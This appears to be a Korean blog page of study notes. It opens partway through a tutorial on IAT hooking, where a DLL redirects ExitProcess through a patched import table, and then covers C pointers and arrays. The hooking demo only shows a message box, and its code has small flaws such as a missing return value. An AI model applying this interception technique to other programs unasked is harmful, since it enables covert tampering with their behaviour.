ExitProcess API를 대신 사용할 MyExitProcess 함수를 구현을 해야 합니다. 본래 ExitProcess API 대신 호출이 되는 것이기 때문에 함수 인자 같은 경우에는 동일하게 해줘야 합니다. 그래야지 MyExitProcess 함수를 호출하고 나서 정상적으로 ExitProcess API를 호출할 수 있습니다.

ExitProcess API는 원래 리턴 타입이 void 타입이지만 직접 만든 MyExitProcess 함수는 ExitProcess API를 호출 할 수 있도록 하기 위해서 BOOL 타입으로 만들었습니다.

MyExitProcess 후킹 함수는 다음과 같습니다.

1
2
3
4
5
BOOL WINAPI MyExitProcess(UINT uExitCode)
{
MessageBoxA(NULL, "IAT hooking", "hook", MB_OK);
return ((PFEXITPROCESS)g_pOrgFunc)(uExitCode);
}

후킹 로직 구현

hook_iat() 함수는 실질적인 후킹 로직이 담겨 있습니다. 해당 함수에서 실질적으로 ExitProcess API를 후킹을 합니다.

구현하고자 하는 API 후킹 기법은 IAT를 이용해서 후킹을 하는 것이기 때문에 메모리에 매핑된 IAT의 주소를 알아야 합니다. 구하는 방법은 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
11
hMod = GetModuleHandle(NULL);			// hMod = ImageBase
pAddr = (PBYTE)hMod; // pAddr = ImageBase
pAddr += *((DWORD*)&pAddr[0x3C]); // pAddr = "PE" Signature
#ifdef _WIN32
#ifdef _WIN64
dwRVA = *((DWORD*)&pAddr[0x90]); // dwRVA = RVA of IMAGE_IMPORT_DESCRIPTOR -> 64bit
#else
dwRVA = *((DWORD*)&pAddr[0x80]); // dwRVA = RVA of IMAGE_IMPORT_DESCRIPTOR -> 32bit
#endif
#endif
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)hMod + dwRVA);

먼저, GetModuleHandle API를 통해서 프로세스의 Image base address를 구하고, IMAGE_DOS_HEADER 구조체의 e_lfanew 멤버를 통해서 IMAGE_NT_HEADER 구조체를 구합니다. 그다음으로 IMAGE_IMPORT_DESCRIPTOR의 RVA를 구하기 위해서 해당 위치에서 32bit 기준 0x80, 64bit 기준 0x90 만큼 offset값을 계산해서 IMAGE_IMPORT_DESCRIPTOR의 RVA를 구한 다음에 Image base Address + RVA 를 더해서 IMAGE_IMPORT_DESCRIPTOR 구조체 배열의 주소를 찾습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (; pImportDesc->Name; pImportDesc++)
{
szLibName = (LPCSTR)((DWORD_PTR)hMod + (DWORD)pImportDesc->Name);

if (!_stricmp(szLibName, szDllName))
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)hMod + (DWORD)pImportDesc->FirstThunk);
for (; pThunk->u1.Function; pThunk++)
{
if (pThunk->u1.Function == (DWORD_PTR)pfnOrg)
{
VirtualProtect((LPVOID)&pThunk->u1.Function, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pThunk->u1.Function = (DWORD_PTR)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function, 8, dwOldProtect, &dwOldProtect);

return TRUE;
}
}
}
}

IMAGE_IMPORT_DESCRIPTOR 구조체 배열의 주소 까지 찾으면 다 한거나 마찬가지입니다. 다음으로, 내가 후킹하고 싶은 API가 들어있는 DLL 이름을 찾아내고, pImportDesc->FirstThunk를 이용해서 IAT의 RVA 값을 찾아내서 IAT의 주소를 구하고, 후킹하고 싶은 ExitProcess API의 주소를 찾아 낸다음 후킹을 하면 됩니다.

이때, VirtualProtect API를 사용하는 이유는 일반적으로 IAT는 쓰기 권한이 없기 때문에 IAT의 값을 변조를 할수가 없습니다. 그래서 해당 API를 이용하면 일시적으로 쓰기 권한이 생기기 떄문에 IAT 영역내 ExitProcess API의 주소값을 MyExitProcess API의 주소값으로 바꿀수 있게 되고, 후킹을 성공할 수 있게 됩니다.


실행


전체 소스 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "stdio.h"
#include "tchar.h"
#include "windows.h"

typedef int (WINAPI* PFEXITPROCESS)(UINT uExitCode);

FARPROC g_pOrgFunc = NULL;

BOOL WINAPI MyExitProcess(UINT uExitCode)
{
MessageBoxA(NULL, "IAT hooking", "hook", MB_OK);
return ((PFEXITPROCESS)g_pOrgFunc)(uExitCode);
}

BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

hMod = GetModuleHandle(NULL); // hMod = ImageBase
pAddr = (PBYTE)hMod; // pAddr = ImageBase
pAddr += *((DWORD*)&pAddr[0x3C]); // pAddr = "PE" Signature
#ifdef _WIN32
#ifdef _WIN64
dwRVA = *((DWORD*)&pAddr[0x90]); // dwRVA = RVA of IMAGE_IMPORT_DESCRIPTOR -> 64bit
#else
dwRVA = *((DWORD*)&pAddr[0x80]); // dwRVA = RVA of IMAGE_IMPORT_DESCRIPTOR -> 32bit
#endif
#endif
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)hMod + dwRVA);

for (; pImportDesc->Name; pImportDesc++)
{
szLibName = (LPCSTR)((DWORD_PTR)hMod + (DWORD)pImportDesc->Name);

if (!_stricmp(szLibName, szDllName))
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)hMod + (DWORD)pImportDesc->FirstThunk);
for (; pThunk->u1.Function; pThunk++)
{
if (pThunk->u1.Function == (DWORD_PTR)pfnOrg)
{
VirtualProtect((LPVOID)&pThunk->u1.Function, 8, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pThunk->u1.Function = (DWORD_PTR)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function, 8, dwOldProtect, &dwOldProtect);

return TRUE;
}
}
}
}
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// original API 주소 저장
g_pOrgFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitProcess");

// ntdll!RtlExitUserProcess() 를 hook!hooking() 로 후킹
hook_iat("kernel32.dll", g_pOrgFunc, (PROC)MyExitProcess);
break;

case DLL_PROCESS_DETACH:
// IAT를 원래 대로 복원
hook_iat("kernel32.dll", (PROC)MyExitProcess, g_pOrgFunc);
break;
}
return TRUE;
}

강의, 책을 보면서 노트화 했던 것을 정리하는 포스팅입니다.


포인터? 배열? 어떤 관계가 있지?

저번시간에 포인터는 메모리 주소 값을 가질 수 있는 녀석이라고 설명했어요.

그렇다면 배열은 어떤 녀석일까요? 배열은 여러 개의 데이터들을 한꺼번에 관리할 수 있는 녀석이에요.

배열은 어떻게 여러 개의 데이터들을 한꺼번에 관리할 수 있는 걸까요?

그리고 단일 포인터에 일차원 배열을 대입하면 포인터를 배열처럼 사용할 수 있어요.
어떻게 그렇게 할 수 있는 걸까요?

아래의 코드를 보면, 배열과 포인터는 가리키는 대상체가 다르다는 것을 알 수가 있는데 말이죠.

1
2
3
4
5
6
7
8
int a[4]={1,2,3,4} => array of 4 int
int *p=a; => pointer to int

sizeof(p) => 8
sizeof( int * ) => 8

sizeof(a) => 16
sizeof(int [4]) => 16

배열이 여러 개의 데이터들을 한꺼번에 관리할 수 있는 이유는 배열의 크기만큼 메모리에 공간을 할당하고, 배열 이름 그 자체가 첫번째 데이터 시작지점의 주소 값을 가지고 있기 때문이에요.

단일 포인터에 일차원 배열을 대입하면 포인터를 배열처럼 사용할 수 있는 이유는 형 변환을 통해서 포인터에서 배열로 대입되기 때문이에요.

이런 것을 가능하게 하는 기법이 Decay라고 불려요.
Decay 이란 “배열의 이름은 일반적으로 배열의 첫번째 원소의 주소로 해석한다.” 에요.

Decay 문법에서도 예외 조건이 있다고 해요.
sizeof() 연산자에서는 대상체의 타입을 구해오는 것이 핵심이고, & 연산자에서는 주소 값을 구하기 때문에 이 두가지는 예외적으로 취급해요.

그래서 sizeof(p)와 sizeof(a)의 크기가 다르고, p=a 와 p=&a[0] 는 똑같은 의미를 가진다는 것을 알 수가 있어요. 그렇다면 p=&a는 어떤 의미를 가지고 있을까요?

아래의 코드를 보면서, 좀 더 자세히 알아봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>

int main()
{
int a[4]={1,2,3,4};
int (*p)[4]=&a;

(*p)[3]=10;

printf("p=%p\n",p);
printf("p+1=%p\n",p+1);

printf("a[3]: %d\n",a[3]);
return 0;
}

10 line -> p=0x7ffeec239830
11 line -> p+1=0x7ffeec239840
13 line -> a[3]: 10

만약에 int (*p)[4]에 &a를 대입한게 아니라, int *p=&a를 대입했다면, 컴파일 할 때, 경고 문자를 볼 수 있어요. 그 이유는 &연산자는 Decay 문법의 적용 대상이 아니기 때문이죠.

warning: incompatible pointer types initializing ‘ int * ‘ with an
expression of type ‘int (*)[4]’ [-Wincompatible-pointer-types]
int *p=&a;


int *p=&a 는 int [4] 대상체의 주소를 int * 대상체에 집어 넣는 것이기 때문이죠. 즉, 자료형이 서로 다르기 때문에 경고 문자가 나타나는 거에요.

그에 반면, int (*p)[4]=&a 같은 경우에는 int [4] 대상체의 주소를 int [4]의 메모리 주소 값을 가질 수 있는 대상체에 집어 넣기 때문에 경고 문자 없이 깔끔하게 컴파일이 되는거에요.

그래서 코드의 출력 결과를 보면, p가 가리키고 있는 녀석이 int [4] 이기 때문에 주소 값이 16이 증가한 것을 볼 수 있고, (*p)[3]을 통해 a[3]의 값을 바꿀 수 있는 이유는 int [4]의 메모리 주소 값을 가지고 있는 p를 역참조해서 a의 메모리 주소로 이동하고 첨자 [3]을 통해서 a의 세번째 인덱스를 접근해 값을 변경할 수 있는 거에요.


포인터를 배열처럼 사용해보자.

포인터를 어떠게 배열처럼 사용해야 하는지 차근차근 알아봅시다.


배열을 포인터 접근으로 바꿔보자

배열로 선언한 것을 포인터를 이용해서 접근을 해봅시다.
아래의 처럼 선언했다고 생각해봅시다.

int a[5]={1,2,3,4,5};

이때, a가 요소 1,2,3,4,5를 포인터를 이용해서 어떻게 접근해야할까요?
바로 답은 아래와 같습니다.

*(a) // 인덱스 0에 접근
*(a + 1) // 인덱스 1에 접근
*(a + 2) // 인덱스 2에 접근
*(a + 3) // 인덱스 3에 접근
*(a + 4) // 인덱스 4에 접근

배열의 이름은 배열의 요소의 첫번째 값을 가리키는 주소가 들어가 있습니다.
*(a + 1) 을 하면, 배열의 요소의 첫번째 값을 가리키는 주소에 변수 a가 가리키는 대상체인 int형의 크기 * 1을 더한 값을 역참조를 하기 때문에 배열의 요소의 2번째 값을 가리키는 녀석에 접근할 수 있는 것입니다.
마찬 가지로 인덱스 4에 접근을 할려면 *(a + 4)를 이용하면 됩니다.

이차원배열과 포인터

이러한 접근 방식을 이차원 배열에서 적용시켜 봅시다.
아래처럼 값을 선언했다고 생각해봐요.

1
2
3
int a[2][2]={1,2,3,4};
int *p=a;
p[1][1]=10;

이때, a의 메모리 주소는 1000이라고 생각해요.

p[1][1]
( *( p + 1 ) )[1]
( *( 1000 + sizeof(int) * 1 ) )[1]
( *1004 )[1]
*( *1004 + 1 )
*( 2 + 1 )
*3 // 이 때, 컴파일 에러가 발생, * 연산자를 이상한 주소 값을 가르켰기 때문.

변수 p의 메모리 번지가 바뀌는 것을 봅시다.
p[1][1]은 ( *(p + 1) )[1]로 변경이 가능합니다.
그 후에 p가 가지고 있는 값은 1000이 되고, p가 가리키고 있는 대상체는 int형이기 때문에 1은 int형의 크기 * 1 로 변환이 됩니다. -> ( *( 1000 + sizeof(int) * 1) )[1]
이를 간략하게 보면, ( *1004 )[1]이 되고, *( *1004 + 1)로도 표현이 가능합니다.
1004는 배열의 두번쨰 인덱스의 값인 2를 가리키게 되서, *( 2 + 1) 로 변환이 됩니다.
그렇다면, *(3) 이것의 의미는 3이라는 메모리 번지에 접근하는 것이기 때문에, 이상한 주소에 접근하게 되므로 컴파일 에러가 발생합니다.
요즘은 컴파일러가 좋아서인지 경고 문자를 보내고, 컴파일이 됩니다.
그리고 당연히 포인터를 이차원 배열처럼 사용은 불가능합니다.


이번에는 이중 포인터를 이용했다고 생각해봐요.

1
2
3
int a[2][2]={1,2,3,4};
int **p=a;
p[1][1]=10;

이때, a의 메모리 주소는 마찬가지로 1000 입니다.

p[1][1]
*( *(p + 1) + 1)
*( *(1000 + 1) + 1)
*( *(1000 + sizeof( int * ) * 1) + 1)
*( *(1008) + 1)
*( 0x0000000300000004 + 1)
*( 0x0000000300000004 + sizeof(int) * 1)
*( 0x0000000300000008 ) // 이 때, 잘못된 번지에 접근을 하기 때문에 run time 에러가 발생.

변수 p의 메모리 주소가 바뀌는 것을 봅시다.
p[1][1]은 * ( (p + 1) + 1) 변경이 가능합니다.
a의 메모리 주소가 1000이므로, *( *(1000 + 1) + 1) 으로도 변경이 가능합니다.
그리고 이때 p가 가리키는 대상체는 int * 이므로, *( *(1000 + sizeof( int * ) * 1) + 1) 으로 볼 수 있습니다. 이를 계산하면, *( *(1008) + 1) 으로 표현이 가능합니다.
이 때, int *
이므로 이를 역참조하면 int * 이므로, 역참조를 한다고 하더라도 주소 값을 가져오는 것이기 때문에 0x0000000300000004가 되어서, *(0x0000000300000004+1) 으로 표현이 가능합니다. 이 때, 가리키는 대상체가 int형이므로, *(0x0000000300000004+sizeof(int) * 1) 으로 표현이 가능합니다.
따라서 *0x0000000300000008 이라는 잘못된 번지에 접근을 하기 때문에 run time 에러가 발생하는 것입니다. 그 뿐만 아니라 컴파일 에러도 발생 합니다.


그렇다면, 포인터를 이차원 배열처럼 사용할러면 어떻게 선언하면 될까요?
아래처럼 선언하면 됩니다.

1
2
3
int a[2][2]={1,2,3,4};
int (*p)[2]=a;
p[1][1]=10;

이번에도 a의 메모리 주소는 이번에도 1000입니다.

p[1][1]
*( *(p + 1) + 1)
*( *(1000 + sizeof(int [2]) * 1 ) + 1)
*( *(1008) + 1)
*( 1008 + 1)
*( 1008 + sizeof(int) * 1)
*(1012)

p의 메모리 주소가 바뀌는 것을 한번더 봅시다.
p[1][1]을 포인터 접근으로 변환하면, *( *(p + 1) + 1)로 변환이 가능하고, p는 대상체 int [2]를 가리키기 때문에, *( *(1000 + sizeof(int [2]) * 1) + 1)로 바뀝니다.
이걸 간략화하면, *( *(1008) + 1) 으로 바꿀 수 있습니다. p 는 내부에 있는 이름 없는 배열을 가리키고 있기 때문에, Decay 문법에 의해 int [2] 타입이 int * 타입으로 변환되기 때문에 *( 1008 + 1)이 됩니다.
이 때, 가리키는 대상체는 int형 이기 때문에 *( 1008 + sizeof(int) * 1) 이 되고, 간략화하면, *(1012)가 되어서, a[1][1]에 해당하는 값인 4를 10으로 바꿀 수 있게 되는 것입니다.


즉, 배열과 포인터의 관계를 이해하기 위해서는 Decay 에 대해 알아야 하고, Decay 을 이용하면 배열의 이름이 첫 번째 원소의 주소로 해석된다는 것을 알고 있으면 됩니다.


배열을 포인터적으로 해석해보자

먼저 기본적으로 단일 포인터를 해석합시다.

타입 해석
int* p // pointer to int

자체 크기
sizeof( p )
sizeof( int * )
-> 64 bit는 8Byte, 32 bit는 4Byte

한번 움직이는 거리(offset)
p + 1
p + sizeof( *p ) + 1
p + sizeof( int ) * 1
p + 4

int * 타입은 자기 자신의 크기는 64비트 기준 8바이트 이고, 가리키는 대상체가 int 형이기 때문에 offset 값이 4입니다.


일차원 배열의 포인터적 해석

타입해석
int a[2] // array of 2 int
자체 크기
sizeof( a )
sizeof( int [2] ) // 8Byte

한번 움직이는 거리(offset)
a + 1
a + sizeof( *a ) * 1
a + sizeof( int ) * 1
a + 4

int [2] 타입은 자기 자신의 크기는 8바이트이고, 가리키는 대상체가 int 형이기 때문에 offset 값이 4입니다.

포인터 배열의 포인터적 해석

타입 해석
int *a[2] // array of 2 pointer to int

자체 크기
sizeof( a )
sizeof( int *[2] ) // 16Byte

한번 움직이는 거리(offset)
a + 1
a + sizeof( a ) * 1
a + sizeof( int
) * 1
a + 8

전치랑 후치가 존재할 때, 후치가 먼저 해석되기 때문에 배열 포인터가 아니라 포인터 배열로 해석된다.
int *[2] 타입은 자기 자신의 크기는 16바이트이고, 가리키는 대상체가 int *형이기 때문에 offset 값기 8입니다.

배열의 포인터의 포인터적 해석

int (*p)[2] // pointer to array of 2 int

자체크기
sizeof( p )
sizeof( int (*)[2] ) // 8Byte

한번 움직이는 거리(offset)
p + 1
p + sizeof( *p ) * 1
p + sizeof( int [2] ) + 1
p + 8

전치랑 후치가 존재할 때, 후치가 먼저 해석되기 때문에 배열 포인터를 사용하기 위해서는 괄호를 쳐서 우선 순위를 높여줘야 한다.
int *[2] 타입은 자기 자신의 크기는 8바이트이고, 가리키는 대창체가 int [2] 형이기 때문에 offset 값은 8입니다.

이중 포인터의 포인터적 해석

타입해석
int **p // pointer to pointer to int

자체크기
sizeof( p )
sizeof( int ** ) // 8Byte

한번 움직인느 거리(offset)
p + 1
p + sizeof( *p ) * 1
p + sizeof( int * ) * 1
p + 8

int ** 타입은 자기 자신의 크기는 8바이트이고, 가리키는 대상체가 int * 형이기 때문에 offset 값은 8입니다.

이차원 배열의 포인터적 해석

타입해석
int a[2][2] // array of 2 array of 2 int

자체 크기
sizeof( p )
sizeof( int [2][2] ) // 16Byte

한번 움직이는 거리(offset)
a + 1
a + sizeof( *a ) * 1
a + sizeof( int [2] ) * 1
a + 8

int [2][2] 타입은 자시 자신의 크기는 16바이트이고, 가리키는 대상체가 int [2] 형이기 때문에 offset 값은 8입니다.

삼차원 배열의 포인터적 해석

int a[2][2][2] // array of 2 array of 2 array of 2 int

자체크기
sizeof( a )
sizeof( int [2][2][2] ) // 32byte

a[0][0][0] : 0x7ffee4de57b0
a[0][0][1] : 0x7ffee4de57b4
a[0][1][0] : 0x7ffee4de57b8
a[0][1][1] : 0x7ffee4de57bc
a[1][0][0] : 0x7ffee4de57c0
a[1][0][1] : 0x7ffee4de57c4
a[1][1][0] : 0x7ffee4de57c8
a[1][1][1] : 0x7ffee4de57cc

한번 움직이는 거리(offset)
a + 1
a + sizeof( *a ) * 1
a + sizeof( int [2][2] ) * 1
a + 16

int [2][2][2] 타입은 자기 자신의 크기는 32바이트이고, 가리키는 대상체가 int [2][2] 형이기 때문에 offset 값은 16입니다.

강의, 책을 보면서 노트화 했던 것을 정리하는 포스팅입니다.


포인터는 무엇일까?

C 언어에서 포인터는 무엇일까요? 개념 자체는 단순해요. 그냥 메모리의 주소 값을 가질 수 있는 녀석이죠.


사용하는 이유는?

이러한 포인터를 사용하는 무엇일까요?
함수를 사용하지 않고, 동적 할당도 사용하지 않고, 모든 코드를 진입점 함수에 해당하는 main()에 모든 코드를 집어 넣으면 포인터를 사용할 필요가 없을지도 몰라요.

하지만 우리는 그렇게 코딩을 하지 않고, 유지 보수를 용이하게 하기 위해서 기능별로 소스 파일 만들고, 모듈화 하기 위해서 진입점 함수의 부분을 간략화 하는 등 일을 하기 때문에 포인터 라는 것이 필요해요.

포인터라는 문법이 없는 자바, C# 등 에서는 가비지 컬렉션이라고 불리는 녀석들이 알아서 메모리를 관리하기 때문에 필요가 없지만, C/C++ 에서는 메모리 관리를 개발자가 직접하기 때문에 포인터라는 문법이 존재하죠.


포인터 문법

포인터는 “*” 별표라는 기호를 이용해서 사용해요.

예를 들어서, char *a, int *b, float *c 라고 하면, 순서대로 char 형 포인터로 선언된 a, int형 포인터로 선언된 b, float형 포인터로 선언된 c로 볼 수 있어요.

이렇게 단일 포인터로 사용될 경우에는 포인터가 어떤 식으로 사용되는지 쉽게 알 수 있지만, 포인터를 이중,삼중으로 사용하게 되면, 이 포인터가 무엇을 의미하는지 알기 쉽지 않아요. 그거에 대해서 차근차근 알아볼 거에요.

그리고 “*” 별표는 포인터 변수라는 것을 의미하는 것 이외에도, 곱셈 기호로 사용하기도 하고, 역참조해서 해당 주소의 값에 접근할 때도 사용해요.

또한 모든 포인터는 대상체의 크기만큼 이동을 하게 되는데 이게 무슨 의미일까요? 한번 코드를 통해 알아봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
int main()
{
int i=100;
int* p=&i;
*p=200;
printf("%d\n",i);
printf("sizeof(i): %lu\n",sizeof(i));
printf("sizeof(int): %lu\n",sizeof(int));
printf("sizeof(p): %lu\n",sizeof(p));
printf("sizeof(int *): %lu\n",sizeof(int*));
printf("sizeof(*p): %lu\n",sizeof(*p));
printf("p=%p\n",p);
printf("p+1=%p\n",p+1);
return 0;
}

7 line-> 200
8 line-> sizeof(i): 4
9 line-> sizeof(int): 4
10 line-> sizeof(p): 8
11 line-> sizeof( int * ): 8
12 line-> sizeof( *p ): 4
13 line-> p=0x7ffeea9fa848
14 line-> p+1=0x7ffeea9fa84c

맨 마지막의 메모리 주소 값은 환경에 따라 다를 수 있습니다.

변수 i를 100로 초기화를 했지만, 포인터 변수 p에 i의 주소 값을 집어 넣고, 포인터 변수 p를 역참조해서 200라는 값을 대입을 했어요.
그래서 변수 i의 값이 100에서 200로 변한 것이죠.

그리고 int 형의 크기, int 형 변수의 크기, int 포인터 형의 크기, int 포인터 형 변수의 크기, int 포인터 형 변수의 역 참조의 크기에 대해 알아봤어요.

int 형 같은 경우에는 IA-64 계열에서는 4바이트의 크기를 가지고 있어요. cpu의 종류에 따라 이 크기는 달라질 수도 있어요.

int 포인터 형 같은 경우에는 IA-64 계열에서는 8바이트, x86 계열에서는 4바이트를 가지고 있어요. 그리고 포인터 같은 경우에는 int 형이든, float 형이든 크기가 동일해요. 그 이유는 메모리 주소를 나타내기 때문이죠. 그렇다고 하더라도 int 포인터 형과 float 포인터 형을 섞어서 써도 된다는 말은 아니에요. 섞어서 사용하면 안됩니다.

제 cpu는 IA-64 계열이라서 int 형의 크기가 4바이트, int 포인터 형의 크기가 8바이트, int 포인터 형의 역참조 크기가 4바이트가 나옵니다.

int 포인터 형의 역참조 크기가 4바이트가 나오는 이유는 int 포인터 형이 가리키고 있는 녀석이 int 형이기 때문입니다. 그래서 4바이트 크기가 나오는 것입니다.

char 포인터 형의 역참조 크기는 몇 바이트가 나올까요? char 포인터 형의 크기는 IA-64 계열에서 int 포인터 형의 크기처럼 8바이트가 나오지만, 역참조의 크기는 4바이트가 아니라 1바이트가 나옵니다. 그 이유는 char 포인터 형의 역참조는 char 형을 가리키기 때문이죠.